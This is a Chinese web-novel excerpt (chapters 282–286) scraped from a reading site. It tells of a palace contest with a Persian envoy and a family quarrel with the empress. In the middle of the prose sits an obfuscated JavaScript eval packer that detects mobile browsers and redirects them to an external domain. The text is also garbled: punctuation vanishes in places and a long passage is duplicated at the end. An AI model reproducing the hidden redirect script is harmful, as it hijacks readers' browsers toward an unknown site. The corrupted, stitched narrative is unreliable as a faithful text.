他镇守边关多年,对外邦的土地只有征服欲,对外邦的人只有血海深仇。 云清婳阴阳怪气道:“是啊,夫君对外邦人没兴趣,大昭女子才是你的心之所向。” 他的心里暗爽,嘴角勾起浅浅的弧度,“你看你!又乱吃醋!” 舞毕,台下掌声雷动。 两位波斯女子走上前,她们福福身,娇滴滴地看着裴墨染,“殿下,敢问我们住在哪里?” 各个夫人的脸上皆露出不屑、妒忌。 云清婳侧头看着裴墨染,她促狭道:“是啊,两位姑娘住在哪里?殿下?” 裴墨染一头雾水,“你们还想住哪里?回波斯去!” “!!!”两位波斯女子的瞳孔地震,随后眼泪流了出来。 苏灵音也懵了。 为何裴墨染又改变心意了?听爹爹说,昨晚裴墨染分明对二人很满意。 “求殿下垂怜,我们想要留下为您献舞!”二人抽抽噎噎地哭着。 裴墨染的眼神写满了奚落,刻薄轻蔑地说:“东宫从不设乐府、舞姬!用银子养你们波斯人,为何不捐给大昭百姓?!” 她们像是受到了奇耻大辱,瞪圆了眼。 这话简直大快人心,诸位夫人暗喜。 “殿下,您昨晚还夸我们跳舞好看呢!是不是太子妃跟您说了什么?您昨晚明明对我们很满意。”她们哭得梨花带雨,满含敌意地瞪着云清婳。 “关太子妃何事?若不是以为你们能逗太子妃高兴,你们岂有资格进东宫?真是不知感恩!外邦人果真都是白眼狼!”裴墨染的眼神如鹰隼般尖锐阴鸷。 “将她们赶走!本宫不想再看她们一眼!”他摆摆手。 二人瞪大了眼睛,惊恐地看着云清婳,肠子都要悔青了,“不要啊,不要啊……太子妃求您替我们求求情啊!” “太子妃,我还会跳浑脱舞,您再给我一次机会吧……” “太子妃,我知道错了,太子妃……” 二人撕心裂肺的哭叫着,可最后还是被太监狼狈地拖走。 苏灵音气得差点咬碎银牙。 魏娴像是看跳梁小丑般笑了声。 上首。 裴墨染沉着脸,他道:“蛮蛮,方才她们对你不敬?为何不惩戒她们?也不跟我说?” “你说呢?”她冷冷地瞥了他一眼,起身就走。 裴墨染一顿,他连忙跟在她身后。 他像是被主人抛弃的小狗,如果有尾巴,尾巴一定是垂下去的。 “蛮蛮,我只是想讨你欢喜,没想这么多,更没想到你会误会。”他小声地辩解,“倘若你跟其他男人在一起,我绝对不会怀疑你。你为何不信我啊?” 云清婳停住脚步,她转过身,冷簌簌地看他,“夫君,我们是不平等的,你不怀疑我,是因为你知道我不敢!你觉得我一个女人逃不脱礼教、名声的束缚,离了你,我就活不了。” 她的视线太冷,就好像在看仇人,让他的心泛着疼,“对不住……可我真的只是想讨你开心,我应该派人事先跟你说的,我没有考虑你的感受……” 从前裴墨染犯错,他从不会意识到问题所在。 可现在他这么快能反应过来也算是进步。 小主,这个章节后面还有哦,请点击下一页继续阅读,后面更精彩!看他这么快承认错误,云清婳就算想故意借题发挥都发挥不了。 “夫君,我知道你的本意是好的,可你真的吓到我了,我以为你变心了,以为你喜欢上了旁人。以为我得看她们的脸色,即使受委屈了也得忍着。”她扑进他的怀里,语气哽咽。 他抱着她,心口发疼,他不希望蛮蛮沦落到这种可怜的地步。 蛮蛮为他生下了两个孩子,为他九死一生过这么多次,吃了这么多苦,她绝不能沦落到看人脸色、仰人鼻息的境地。 “蛮蛮,不会的!永远不会!你们母子三人绝不能受一点苦!这个世道对女子不公,但在我心中你我是平等的!日后我都会改!”他的语气深沉,一字一句如同发誓。 她哽咽道:“我信夫君。” 远远的,苏灵音看见相拥的二人,眼神冰如寒刃。 …… 月末,波斯使团终于要离京。 皇上设宴为他们践行。 酒过三巡,皇上被波斯使臣的卖乖讨好哄高兴了,笑声不断。 “皇上,外臣有一个不情之请,求您成全!”波斯使臣扑通一声跪地。 宴厅瞬间鸦雀无声。 皇上的眼眸一眯,眼神尖锐地刺着他,“贡赋一减再减,你们真是不知足啊!” “皇上与波斯玩一个游戏如何?大昭人才济济,总不会连一个蕞尔小国的游戏都不敢玩吧?”波斯使臣的语气中带着恰如其分的挑衅。 足够把人激怒,却还不至于发作。 “你们真是图穷匕见!呵……”皇上冷嘁。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第283章 与波斯的比试 裴墨染面无波澜,可眼中掀起了汹涌不耐的浪潮。 波斯使臣道:“陛下,外臣发誓,这只是波斯民间的小孩游戏罢了!不如加点彩头?” “倘若这个游戏大昭赢了,之前您答应波斯的减贡减税皆不作数!倘若陛下输了,五年内,波斯不必向大昭缴纳贡税。” 此话一出,席上的官员躁动一片,掀起了骂战:“好啊!真是图穷匕见,你们这是有了狼子野心,想要养精蓄锐,卷土重来吧!” “难怪赖在京城不肯走!原来打着这个主意!” “凭什么玩你们波斯的游戏?这不是欺负人嘛?” 云清婳明白,波斯使臣之前的阿谀奉承、讨好全是为了捧杀。 如今皇上被架在火上烤,答应也不是,不答应也不是。 但熟知剧情的她,也知道游戏的最后,获胜的是大昭。 原剧情中,裴墨染、姐姐对苏灵音刮目相看就源自这一场比试。 苏灵音凭借着机智聪慧,完成了波斯的小游戏。 她绝不会给苏灵音出彩的机会。 “什么游戏?”皇上捋着胡子,目光矍铄。 波斯使臣命人呈上了一个精巧的木质魔方,魔方有五行五列,每一面都雕刻着不同的波斯文图案。 他转动魔方,将魔方打散,“倘若大昭人能在一炷香的时间内将魔方复原,就算赢!” 众官员都目瞪口呆。 云丞相看向身侧的云隽。 他的长子云隽博采众长,自幼便开始接触西域语、波斯语,年纪轻轻就成为鸿胪寺少卿。 云隽一脸高深莫测,他低声道:“我不会,此物虽然是稚童玩意,但是得练。” 云褚忍不住吐槽:“那你还一副了然于胸、深不可测的表情,我还以为你行呢。” “此为心术,让敌人捉摸不透。”云隽淡淡道。 官员躁动:“我们不答应!” “凭什么玩你们波斯的游戏?” 波斯使臣不紧不慢道:“所以大昭是怕了吗?” “哼!”皇上冷嗤。 就在这时,苏灵音举起了手,“臣妾胆敢一试!” 皇后的脸上堆满笑意,她讨好道:“皇上,灵音从小便对外邦的玩意儿感兴趣,此物名为魔方,灵音出阁前常常把玩。” 皇上的心思微动,他压低声音问:“她当真能复原?” “千真万确!臣妾曾经亲眼见过!”皇后笃定地说。 苏灵音的双眼坚定,胸有成竹。 皇上看着苏灵音的表情,心中有了考量,他微微颔首。 “波斯使臣,大昭应战!”皇上长袖一挥。 云清婳在裴墨染耳边说了什么,裴墨染道:“父皇,游戏太偏向波斯了,不如两国交换?让波斯人也来试试大昭的游戏,看看哪一方用时更短?” “波斯使臣意下如何?”皇上轻扬下巴。 波斯使臣不假思索,“外臣愿意应战!” 他们显然早就做了万全的准备。 “看来他们早把大昭的玩具摸清了。”裴墨染感到不妙。 “夫君放心吧。” 云清婳起身,在御前太监耳边说了什么,御前太监立即去准备。 少顷,御前太监端着十根针跟十条线来了,每根针的针眼,一根比一根细。 “大昭的女子善作女工,这是大昭女子的游戏。”云清婳笑道。 波斯使团的嘴半张着,很是意外。 皇上捋着胡子发出爽朗洪亮的笑声,“哈哈哈……如何?波斯使臣现在认输还来得及!” “我们不会认输。”波斯使臣的表情有些扭曲,“但是这也太……” 苏灵音笑靥如花,脸上的笑意不断加深。 只要赢下波斯使臣,比他们更快,不仅苏家会名声大噪,裴墨染定会对她刮目相看,跟她冰释前嫌! 裴墨染心中的家国、民族观念极深,只要赢过这一次,她也算是英雄,曾经的所作所为算得了什么? 思及此,她心里美滋滋的。 仿佛已经看见了裴墨染跟她和好,爱上她的画面。 她走近云清婳,福福身,“太子妃的主意真不错,算是帮我争取时间了呢,可惜,我并不需要一炷香。” 苏灵音骄傲地扬起脖子,像是斗胜的公鸡。 皇后勾起唇,嘴角的笑纹不断加深,看云清婳的眼神极具挑衅的意味。 云清婳眼中满是讽刺。 就笑吧! 这会儿笑得越欢,等会儿摔得越惨。 “开始吧,怎么愣着干嘛?诶呀,波斯不会怕了吧?”几个皇子挑衅。 “哈哈哈……” “呃……”波斯使臣踌躇不前,他们的使团苦练多年,精通大昭的各种游戏。 陀螺、风筝、踩高跷、各种棋……甚至是推牌九,万万没想到居然是穿针引线做女红! 云清婳道:“不如双方选两个人参赛?免得有人失手,这样公平一点。” “好好好!”波斯使臣连连点头。 他选了两个手最巧、眼最尖的人上前。 “穿针不难,主要就是眼尖,掌握技巧后,眨眼间就能穿上……”他鼓励道。 这章没有结束,请点击下一页继续阅读!二人瞬间有了信心。 很快,御前太监在香炉里插上了一炷香 苏灵音面前有两个被打乱的魔方,她随手拿起一个魔方,在手中灵巧地摆弄着。 两个波斯人分别站在十根针线前,一手捏着针,一手捻着线往针眼里穿。 人高马大的男人的动作笨拙、粗犷,粗粝的手指连针都捻不起来,惹得众人嗤笑。 波斯使团屏息凝神,急出了一脑门的汗。 磨叽了好一会儿,一根、两根、三根针线就穿进去了。 这两人似乎掌握了技巧,越来越熟练。 大昭的官员叹气连连,心急如焚。 苏灵音自从出嫁后便整日工于心计,已经有一年多没玩魔方,记忆模糊了些,手感也生疏了。 香渐渐往下燃,时间流逝…… 所有人都在心里暗暗给苏灵音鼓劲儿。 “快啊,对面都有人穿第五根针了。” “第六根了!天啊!” “他正在穿第七根!” 波斯使团得意极了,“嘿嘿,大昭的游戏也不过如此!” 这把大昭一票人气得不行。 裴墨染在云清婳的耳边道:“蛮蛮,恐怕有点悬。” “夫君放心吧,苏灵音可能会输,但是大昭输不了。”她道。 香快要燃到一半时,苏灵音的手速越来越快。 “穿好了!” “拼完了!” 大昭、波斯两边异口同声。 十根针线穿好,苏灵音也举起了魔方,魔方的每一面上的图案整齐一致。 苏灵音的脸上都是汗水,她现在双腿发虚,心脏狂跳。 差点,差一点点就输了。 她轻敌了。 皇上捋着胡子,觉得苏灵音的表现差强人意。 打了个平手! 没输没赢! 但天朝上国的名声勉强算是保住了。 双方使团争论不休,“是我们先穿好针的!” 苏家人道:“是苏侧妃先拼好魔方的!” “不对,是我们先穿好针的!大昭不会不认账吧?” “我看得清清楚楚,是苏侧妃先拼好魔方的,只是你们先喊出来。” “大国欺人啊!” 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第284章 赢你们,跟呼吸一样简单 双方争得脸红脖子粗,鸿胪寺跟使团唾沫星子乱喷,像是在斗鸡。 云隽勾唇,痛心疾首地指责:“哀哉羞矣!大昭一让再让,贵国居然颠倒黑白,强盗行径,让人不齿!” “明明是我们更快一步,大昭却不认账,不怕贻笑大方,失了大国体面?” 云褚讽刺道:“你们的蓝眼睛没用可以捐了!真是左脸皮贴上右脸皮,一边脸皮厚,一边不要脸!” “你们才不要脸!”波斯使臣指着他。 云丞相最护犊子,他走上前,“说谁不要脸,你们才不要脸!” 旁人也就算了,一群波斯人在大昭的地盘骂他儿子! 当他死了? 云清婳扶额。 二哥发疯也就算了,爹爹怎么也疯了? “真麻烦,早知如此,当初我就把波斯也打下来。”裴墨染压低声音道。 她瞪他,“国库的钱哪来?谁出?百姓出?” “……”他讪讪闭上了嘴。 云清婳走上前,“波斯使臣,比试还没结束。” “怎么没结束?你们大昭又有新说辞了?想要重新比试?”波斯使臣叉着腰怒吼。 云清婳恨不得甩他一巴掌。 跟谁大小声呢? “双方各出两人,大昭这边还没出人呢,这样可不公平。”云清婳道。 波斯使团登时安静下来。 大昭众官员也噤了声,他们面面相觑,想要派一人拼魔方。 皇上扫视众人,“哪位爱卿想要一试?翰林院?鸿胪寺?内务府?” 众官员垂下头,生怕被皇上点名。 这跟阎王点卯有什么区别? 苏灵音得意极了。 虽然她的表现差强人意,可是除了她,谁能出战呢? “臣妾可以一试。”云清婳福福身。 众人瞪大了眼睛。 皇后的眼风一厉。 皇上的眼中迸发出嘉赏,他点点头,“太子妃试试。” “是。”云清婳拿着魔方。 波斯使团的表情凝重,“别怕……她应该只是虚张声势,她若是会玩,方才怎么不上?” “对!装模作样!” 苏家人嗤之以鼻,“装什么啊?若是真会玩,方才怎么不挺身而出?” “她不会看灵音玩,就觉得自己也会吧?” “笑死人了,我们灵音可是从六岁就开始玩各种各样的魔方!岂是云清婳能比的?” “云清婳之前见过魔方吗?今日不会是她第一次见吧哈哈哈……” 苏家人嘲讽着。 云丞相甩袖,他斥道:“国荣国耻面前,你们还说风凉话!一个二个鼠目寸光、自私至极!” “……”苏家人登时面红耳赤。 周围的官员纷纷嫌弃站开,不想跟苏家沾染上半点。 苏灵音的心砰砰直跳。 她在心里祈祷,希望云清婳这个贱人只是在虚张声势、自取其辱! 千万不要盖过她的风头! “快把香插上,计时吧。”波斯使臣催促道。 云清婳亮出手掌,“不必了。” 皇上蹙眉。 众人皆是不解。 云清婳拿起魔方。 “太子妃为何说不用计……”波斯使臣嘴里的最后一个字还没吐出来,他就瞠目结舌,眼珠子快瞪出来。 因为云清婳在眨眼间,已经将魔方拼好。 只用了短短十几息。 “天啊……”大昭、波斯人都看傻了。 随后掌声雷动。 几个大昭官员嘲讽道:“现在输赢分明了!你们波斯少来碰瓷!” “幸亏有太子妃,不然你们还要纠缠!” “你们怎么不辩了?再辩啊!我倒是想听听你们波斯还能说出什么可笑的话!” 裴墨染的眼睛都亮了,他欣赏地看着云清婳,“蛮蛮,你好厉害。” 裴云澈笑望着她,眼中含着爱慕。 云清婳将拼好的魔方递给波斯使臣。 她用不大不小的声音回答他方才未问完的问题,“因为在绝对实力面前,不用计时!赢你们,就跟呼吸一样简单。” “好!”皇上鼓掌。 云清婳福福身,“臣妾献丑了。” 她在现代她也是从小玩起。 她这种反社会人格,智商极高,几秒钟拼好五阶魔方不在话下。 方才她的手速还慢了呢。 登时,苏灵音的脸通红,像被人当众打了一巴掌。 她的头都快抬不起来了。 可恶! 好一个抛砖引玉啊! 云清婳居然故意这么羞辱她。 “太子妃真是深藏不露啊!”皇后阴阳怪气道。 苏将军的脸都扭曲了,他道:“既然太子妃这么厉害,为何一开始不参与比试?非要引起双方争执?” 说到这里,苏灵音委屈得眼眶都红了,就像受到了奇耻大辱。 云清婳实在太歹毒,居然故意让她当众出丑! “是啊,平白引起争端,你这孩子也真是的。”皇后挤出慈爱的笑,像是长辈宠溺小辈,但实则用心歹毒。 波斯使团一阵躁动,“太子妃是不是在戏弄我们?” “这也太瞧不起人了!” 这章没有结束,请点击下一页继续阅读!“就是!太过分了!” 云清婳云淡风轻地解释:“因为我不想显得大昭太欺负人,让游戏太无趣。只是没想到双方会平局!” 言下之意就是——机会给你们了,你们不中用啊! 波斯众人的脸腾的红了。 苏灵音的脸更红了。 “哈哈哈哈……”皇上笑了,“好了,波斯使团莫要生气,太子妃也是为了给你们体面!” 皇上话锋一转,冷硬道:“既然如此,愿赌服输,波斯的贡税一成也不能少!” 波斯使团还想求情,可皇上摆摆手,“时辰不早了,以免天黑赶路,是时候送行了。” 送走波斯使团后,皇上赏赐了云清婳不少珍宝,也给苏灵音象征性地赏赐了一些。 云清婳捏着夜明珠,饶有兴趣地看着,“可以放进宝宝的屋里当小夜灯,回东宫后送阿娴两颗。” “蛮蛮,你玩魔方这么厉害怎么不跟我说?”裴墨染眼中简直要冒出星光。 她觑了他一眼,“夫君又没问,我会的可多了,要说到猴年马月?” 他觉得蛮蛮总能带给他惊喜。 另一边,翊坤宫中,皇后心疼地看着裴云澈。 “云澈,你的伤势太严重了!你从小到大,哪受过这么重的伤?”皇后捏着帕子抹着眼泪。 裴云澈摇摇头,“无妨,只是意外,儿臣已经不疼了。” “你还要瞒着母后吗?母后都知道了,都是因为保护云清婳!要本宫看,狼群就是她引来的,她就是个灾星!”皇后叱骂。 他的脸垮了下来,“母后若是想说此事,儿臣就走了!” 皇后叹了声,当时她在皇上的帐外埋的有暗线,她已经知道了裴云澈不孕不育的事。 她只感到无限的心疼。 “云澈,本宫召见了墨染,日后你们兄弟好好的,不要再争了。”她的语气含着不甘与无奈。 喜欢易孕娇妃勾勾手,王爷俯首称臣了请大家收藏:()易孕娇妃勾勾手,王爷俯首称臣了更新速度全网最快。 第285章 裴墨染:发疯真爽 裴云澈的眼中闪过一抹复杂的光,“母后怎么突然变了?” “嗯?”皇后的脸僵住,她心虚的眨眨眼。 “母后曾经竭尽全力托举儿臣,希望儿臣入主东宫,为何突然认命了?”裴云澈不遮不掩的问。 皇后的头皮发麻,她牵出了不自然的笑,“母后只是不想让你太累,如今大局已定,墨染的确的没有让人指摘的地方,我们不要勉强了。” 他素来温润的脸庞在这一瞬间被撕裂,露出讥诮、轻蔑,“儿臣绝嗣,母后是嫌弃儿臣了吧?觉得儿臣是废人,没有资格继承大统?!” 他几乎咬牙切齿,字字带着无限的怒与恨。 皇后呆愣了一瞬,她的眼圈泛红,心酸的眼泪涌了出来,“云澈,母后怎会嫌弃你,母后只是、只是不想让你太累。” 她捏着帕子擦了擦眼角的泪,“墨染总是忤逆本宫,只有你孝顺本宫,若是可以选择,母后惟愿你好!可惜造化弄人,事到如今跟墨染对着干有什么意义?不如跟他重归于好!” 裴云澈的脸被阴影笼罩,让人看不出的心中所想,“然后呢?” “等我们跟墨染修复关系,凭借着多年的情谊,或许到时候母后可以劝说他封你为皇太弟!”皇后颔首,似乎觉得自己的主意精妙绝伦,“没错!父死子继,兄终弟及,到时候你还是能坐上皇位!” “呵……”裴云澈冷簌簌的笑了,眼神冰寒刺骨,讽刺至极。 他是被皇后蠢笑的! 人为何能愚昧无知到如此地步? 居然说出这么无脑的蠢话? “母后是觉得裴墨染傻,还是儿臣傻?况且儿臣绝嗣,就算当上皇帝又如何?”裴云澈的心中感到前所未有的愤怒、无助与失落。 这一瞬间,仿佛全天下的恶意、霉运都倾泻到他的身上。 曾经他引以为傲的身份、血脉,在此刻都成了耻辱。 “云澈……你信母后,母后将来一定会劝说他封你为皇太弟的。”皇后哽咽着。 门外,裴墨染、云清婳正好赶来,将里面的对话听得一清二楚。 云清婳挑眉,皇后的野心可真大啊! 见皇上那边没希望了,居然把主意打到了裴墨染的头上。 她把裴墨染当傻子了 ? “呵……”裴墨染冷嗤一声。 他的脸上只有奚落不再有其他情愫“册封什么皇太弟?她不如让我把皇位让给裴云澈算了。” 云清婳很满意裴墨染的状态。 这就对了! 越不在乎皇后越好! 裴墨染把门推开牵着云清婳的手走了进来。 他含着凉薄的笑目光从裴云澈、皇后的脸上扫过。 皇后看见他眼里出现了片刻的慌乱。 裴云澈双目通红脸上冷如冰封再也挤不出一丝笑。 “母后找儿臣何事?”裴墨染象征性拱手。 云清婳也跟着福福身她对裴云澈投去一个感激的眼神。 裴云澈双眼泄出悲戚。 他突然想起之前他跟蛮蛮也曾有过一个孩子。 可那个孩子被赵婉宁害**。 现在想来就算赵婉宁不出手孩子多半也活不了…… “墨染之前是母后忽略了你母后向你道歉。我们回到从前好不好就当这些不愉快没有发生你跟云澈还是好兄弟。”皇后含泪攒出一个和蔼的笑。 这么温柔的表情真是久违了。 裴墨染的眸色黑暗只觉得皇后虚伪至极。 倘若皇后不知道裴云澈绝嗣之事她一定会联合裴云澈将他从东宫赶出去! 现在看裴云澈大势已去便又回头找他了。 他是什么很贱的人吗? 云清婳捏捏裴墨染的手心她低声道:“夫君说出心里话啊。” 他颔首他冷声开口:“母后回不去了儿臣也不想回去。你真的关心儿臣?真的想和好吗?你知道儿臣喜欢吃什么吗?” “你不知道!你却对裴云澈的喜好如数家珍!从小到大裴云澈有的儿臣都没有!他的衣物上有你的刺绣儿臣的衣物上却空空如也。儿臣喜欢吃饺子可儿臣哪怕多吃一个你都会黑脸!” “你前些日子还把裴云澈的剩饺子拿给儿臣吃你真的觉得没问题吗?那儿臣下次把皇祖母的剩饭给你吃!” 皇后被说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16170490|178440||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的羞愧难当 染你说这些是在拿刀子剜母后的心啊!” 以前看到皇后的眼泪裴墨染会心疼、愧疚。 可现在他只感觉到虚伪、烦闷。 他甚至想皇后哭得不够恣情! 要是哭晕过去他兴许会相信皇后没在演戏! 裴墨染平静的陈述事实:“母后或许的确心疼儿臣!但你的关爱不患寡而患不均你对裴云澈的偏爱太明显! 儿臣要的母爱就算不能做到独一无二好歹也要一碗水端平!你的偏心儿臣都看在眼里只是儿臣觉得太矫情不想说出来以免显得斤斤计较罢了!” 云清婳都对裴墨染刮目相看他真是拳拳到位字字诛心。 “你还不是说出来了?还说自己不想斤斤计较!裴墨染你看你把母后都气哭了!”裴云澈讥讽。 “呜呜呜……”皇后见有人帮自己撑腰哭得更响亮了。 云清婳的太阳穴都被扰的突突直跳。 裴墨染心中的怒火猝然升起“裴云澈你的母亲在帝陵里躺着别见人都认娘把手伸得太长 “墨染你别这么说云澈在本宫心里你们都是母后的儿子!”皇后立即维护裴云澈。 裴墨染怼道:“母后这会儿知道出来维护了?方才贤王攻讦儿臣你怎么不吭声?你们母子心连心齐心协力攻击儿臣是吧?” “不是的、不是的……”皇后被怼得语塞抽抽噎噎的又哭了出来。 云清婳在心里暗暗叫好恨不得鼓掌。 裴云澈冷不丁的笑了“裴墨染说白了你就是计较几件衣物几个饺子你究竟是不是大丈夫?身为东宫这些蠢话你敢不敢在父皇面前说?” “……”皇后的哭声渐渐变小似乎认同了裴云澈的话。 裴墨染憋了一肚子火气他气得胃疼。 果然永远叫不醒装睡的人! 到现在了他们还以为他在乎的事几件衣物几个饺子? 那就别怪他了。 “裴云澈你有什么资格教训本宫?霸占着本宫的位置享尽了好处。你的死鬼母妃帮不了本宫本宫的母后却处处帮你膈应人!” 云清婳觉得裴墨染的攻击力强到没边了。 第286章 爹爹羞羞脸 裴云澈一噎,“住口!你怎能这么说母妃?死者为大!” “皇后,你瞧,本宫同时攻讦你跟宸妃,你的儿子只维护了宸妃!你真可怜!”裴墨染咋舌,奚落感满满。 皇后心头一疼,她扭头看向裴云澈,眼底蕴出一丝失望。 裴云澈的脸瞬间涨得通红,“裴墨染,你幼不幼稚?” “不是一个肚皮里生出来的,终归就是不同!你现在好了,两个儿子没一个真心的!”裴墨染嘲讽。 云清婳差点扑哧一声笑喷。 狗男人这是发疯了!既然他不好过,大家都别想好过。 皇后的脸色越来越难看,都忘记哭泣,她感到了钻心的疼痛。 她心虚了,她害怕了…… 因为她怀疑裴墨染说的都是真的。 怀疑的种子一旦种下,便会生根发芽。 金嬷嬷急得面红耳赤,她扑通一声跪下,“殿下,娘娘是真心想要补偿您。母子哪有隔夜仇,求您不要再刺激娘娘了。” “墨染,母后真的知道错了,母后会补偿你的。日后母后跟云澈都会以人臣之心辅佐你,为你铲除障碍。”皇后露出无比真诚的表情。 裴墨染侧脸看向云清婳。 裴墨染:你信吗? 云清婳:不信。 裴墨染:我也不信。 “母后究竟想说什么?”裴墨染开门见山地问。 皇后剐了云清婳一眼,她道:“墨染,灵音当初也不知道真相,她对你满腔真心,你就给她一个孩子吧。” “墨染,你为人善良宽厚,你真的忍心看灵音独守空房,孤独终老?她是你的表妹啊。” 裴墨染未置可否,他握着云清婳的手,转身就走。 云清婳扬起小脸,打量着裴墨染的表情。 “放心吧,我一点也不在乎了,皇后伤不了我。今日我很畅快!”裴墨染搂着她的肩膀,“蛮蛮,早知如此,我就该早些发疯。” “夫君也知道自己在发疯?”她扑哧笑了。 他也笑了,“自然!” 她将脑袋靠在他的怀里,闲庭信步地走着,“苏灵音呢?” “别提她!”裴墨染的五官一拧,像是无比痛苦,“我就算要**,也轮不到她!” 她冷哼,“夫君得了便宜还卖乖!” “蛮蛮,我只想要你一人,其余的女子只是为了势力制衡,稳定朝纲,若是可以,我愿解散后宅。”他的表情无比认真。 云清婳垂下眼睫,遮掩住眸中的不屑。 当初他娶她,不也是为了获取云家的支持? 男人总喜欢给女人营造出一种‘你跟旁人不一样’的错觉。 可当真你就输了。 二人正说着,御前太监拿着拂尘似笑非笑地走来,“参见太子殿下、太子妃。” “公公,何事?”裴墨染面如冰封,语气却很客气。 “陛下召您前去御书房。”御前太监道。 裴墨染看向云清婳,轻拍她的肩膀,“不必等我,蛮蛮,你先回东宫。” “我突然想到一件喜事,等夫君回来,再跟你说。”她笑道。 他的眸蕴出光亮,他心念一动,万分期待,“好,我快去快回。” …… 晚上,云清婳将承基、辞忧放到榻上。 她蹲在榻前,好奇地问:“皇爷爷最近教了什么?” “……”承基、辞忧噘着小嘴不说。 云清婳瞥了他们一眼,从盘里拿了两块芙蓉糕,分别递给他们。“真是无利不起早!” 小肉手捧着点心香喷喷地吃了起来,水红色的小嘴旁边全是点心渣滓。 “两位皇孙的性子倒跟主子有点像。”飞霜打趣道。 云清婳的脸骤然黯淡。 两个孩子可千万不要跟她一样! 她不是正常人,她不希望子女也变成这样。 “学了什么?快告诉娘亲。”她勾勾他们的下巴。 二人奶声奶气,争先恐后道:“人之初,性本善……” 飞霜瞪圆了眼,“两位皇孙太聪明了,都会背《三字经》了!” 虽然只背了短短几句,但云清婳也心满意足了。 门外传来脚步声。 云清婳一扭头就看见了裴墨染。 他的脸上像是覆盖了一层薄薄的寒霜,周身气场极低,所过之处,下人皆俯身跪下。 裴墨染的脸色深沉阴冷,径自朝他们走来,眼角眉梢低垂,面容疲惫。 他努力让 语气温柔“怎么蹲在榻前?” 他俯下身揉揉孩子们的小脑袋。 “爹~”辞忧的眼睛都亮了。 承基也奶呼呼地唤道:“爹爹~” 裴墨染的嘴角上扬他揩去他们嘴角的糕屑“诶。” “夫君回来得好晚用膳了吗?”云清婳抬眼看着他。 他回忆起了御书房的不愉快脸上的喜色淡去“不想吃我吃不下。” 方才父皇跟皇后说了一样的话——让他宠幸苏灵音。 因为苏灵音的外祖父一家治水有功身为太子不能寒了功臣的心。 在父皇的威压下他答应了。 “吃些吧我喂夫君。”她半玩笑道。 “娘亲喂宝宝!”辞忧高高举起手。 承基瞪着圆圆的眼睛指着嘴“娘亲饿饿!” 裴墨染笑了。 “你们不能再吃了!肚子都撑成球了。”云清婳掀开他们的小罩衣露出圆滚滚的肚皮。 两个小奶包像是收到了批评蔫蔫地垂下脑袋。 辞忧跟变戏法似的从万嬷嬷缝制的罩衣内兜里掏出一块小桃酥咬了起来。 裴墨染跟云清婳看得一愣一愣的。 “哪来的桃酥?”他侧过脸看辞忧的小兜。 辞忧跟**毛虫似的扭过身子把屁股对着他。 云清婳在辞忧的小屁股上捏了一下“别藏了爹娘不吃。” “唔……”辞忧将剩下半块小桃酥塞进嘴里才放心地扭回身子。 裴墨染宠溺道:“蛮蛮辞忧古灵精怪的像你。” “她这么欠像你才对。”她笑道。 他学着云清婳蹲下身好奇地问:“蛮蛮你在宫里说有喜事是什么事?” 她莞尔眼波流转看向孩子“最近爷爷教了什么?” “嗯?”裴墨染不解的看着他们。 承基、辞忧异口同声:“人之初性本善性相近……” 裴墨染的桃花眼倏地被点燃他睁大了双眼“这是……父皇教的?” “对!”她颔首压低声音 这含金量不用说了! 裴墨染的内心澎湃心潮翻涌他激动地抓住云清婳的手笑道:“蛮蛮父皇器重承基我的地位更稳了。” “夫君托了孩子的福了。”她打趣道。 他激动不已捧着她的脸在她眉间亲了一口。 “谢谢你蛮蛮。”他满心都是感激。 感谢蛮蛮为他生了这么聪明伶俐的两个孩子。 “讨厌!孩子还看着呢。”她嗔怪道。 裴墨染不甚在意他小声道:“看见就看见呗他们懂什么?” “咦惹羞羞脸。”承基冲他做鬼脸。 辞忧也捂着眼睛“羞羞脸!爹爹羞羞脸!” 听说看这本书的人都是很幸运的,分享后你的运气会更棒 语气温柔,“怎么蹲在榻前?” 他俯下身,揉揉孩子们的小脑袋。 “爹~”辞忧的眼睛都亮了。 承基也奶呼呼地唤道:“爹爹~” 裴墨染的嘴角上扬,他揩去他们嘴角的糕屑,“诶。” “夫君回来得好晚,用膳了吗?”云清婳抬眼看着他。 他回忆起了御书房的不愉快,脸上的喜色淡去,“不想吃,我吃不下。” 方才父皇跟皇后说了一样的话——让他宠幸苏灵音。 因为苏灵音的外祖父一家治水有功,身为太子不能寒了功臣的心。 在父皇的威压下,他答应了。 “吃些吧,我喂夫君。”她半玩笑道。 “娘亲喂宝宝!”辞忧高高举起手。 承基瞪着圆圆的眼睛,指着嘴,“娘亲,饿饿!” 裴墨染笑了。 “你们不能再吃了!肚子都撑成球了。”云清婳掀开他们的小罩衣,露出圆滚滚的肚皮。 两个小奶包像是收到了批评,蔫蔫地垂下脑袋。 辞忧跟变戏法似的从万嬷嬷缝制的罩衣内兜里掏出一块小桃酥,咬了起来。 裴墨染跟云清婳看得一愣一愣的。 “哪来的桃酥?”他侧过脸看辞忧的小兜。 辞忧跟**毛虫似的,扭过身子,把屁股对着他。 云清婳在辞忧的小屁股上捏了一下,“别藏了,爹娘不吃。” “唔……”辞忧将剩下半块小桃酥塞进嘴里,才放心地扭回身子。 裴墨染宠溺道:“蛮蛮,辞忧古灵精怪的,像你。” “她这么欠,像你才对。”她笑道。 他学着云清婳,蹲下身,好奇地问:“蛮蛮,你在宫里说有喜事,是什么事?” 她莞尔,眼波流转,看向孩子,“最近爷爷教了什么?” “嗯?”裴墨染不解的看着他们。 承基、辞忧异口同声:“人之初,性本善,性相近……” 裴墨染的桃花眼倏地被点燃,他睁大了双眼,“这是……父皇教的?” “对!”她颔首,压低声音,“两个孩子从小就被皇上亲自教导!” 这含金量不用说了! 